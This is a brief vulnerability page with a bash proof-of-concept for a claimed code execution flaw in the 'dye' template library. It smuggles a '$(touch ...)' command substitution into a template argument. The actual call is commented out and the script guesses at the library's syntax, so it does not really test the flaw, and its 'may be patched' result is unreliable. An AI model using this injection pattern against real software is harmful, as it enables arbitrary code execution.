CVE-2026-35197 dye库任意代码执行漏洞

#!/bin/bash # PoC for CVE-2026-35197 (dye < 1.1.1) # This script demonstrates how a malicious template expression # could trigger arbitrary code execution. # Assume 'dye' is installed or sourced in the environment # source dye.sh echo "[+] Testing CVE-2026-35197 Arbitrary Code Execution in dye" # Vulnerable context: Passing untrusted input to dye's template engine # In versions < 1.1.1, specific syntax (e.g., backticks or command substitution) # within template expressions might be evaluated by the shell. # Example payload: Create a file as proof of execution MALICIOUS_PAYLOAD="\$(touch /tmp/dye_pwned.txt)" # Simulating the vulnerable function call # (Actual syntax depends on library implementation, assuming a generic template usage) # If the library passes the argument directly to 'eval' or similar, execution occurs. echo "[+] Attempting to execute payload: $MALICIOUS_PAYLOAD" # In a real vulnerable scenario, this line would trigger the command: # dye -p "$MALICIOUS_PAYLOAD" # Verification if [ -f /tmp/dye_pwned.txt ]; then echo "[!] SUCCESS: Arbitrary code executed. File /tmp/dye_pwned.txt created." rm /tmp/dye_pwned.txt else echo "[-] FAILED: Exploit did not trigger (library may be patched)." fi